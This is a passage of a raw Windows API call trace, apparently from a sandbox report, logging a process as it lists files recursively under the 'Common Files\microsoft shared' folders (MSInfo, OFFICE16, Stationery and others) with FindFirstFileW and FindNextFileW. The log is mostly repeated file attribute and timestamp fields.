lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0093.130] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0093.131] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.131] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0093.131] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0093.133] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.133] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0093.134] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0093.134] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0093.136] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.136] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0093.136] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0093.136] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0093.136] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.136] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0093.136] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.500] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.500] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0093.500] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0093.500] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0093.502] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0093.502] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0093.503] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.504] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0093.504] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.504] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.504] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0093.504] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0093.505] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.505] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.505] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0093.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.505] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.506] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.506] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0093.506] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0093.506] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.506] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.506] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0093.507] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260850 [0093.508] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.508] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0093.509] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0093.509] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0093.509] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0093.509] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0093.509] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x4260850, 